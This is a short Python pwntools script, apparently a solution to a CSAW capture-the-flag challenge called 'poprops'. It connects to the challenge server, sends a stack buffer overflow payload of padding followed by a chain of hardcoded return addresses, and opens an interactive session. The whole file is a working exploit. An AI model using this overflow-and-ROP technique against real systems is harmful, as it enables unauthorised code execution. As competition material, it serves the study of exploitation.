from pwn import *
#pe = process("./poprops")
pe = remote("pwn.chal.csaw.io", 10107)
print pe.recvline()
#gdb.attach(pe)
pe.sendline('A'*(0x38)+('\xd5\x05\x40\x00\x00\x00\x00\x00'+'\x98\x06\x40\x00\x00\x00\x00\x00'+'\xb6\x05\x40\x00\x00\x00\x00\x00')*1)
pe.interactive()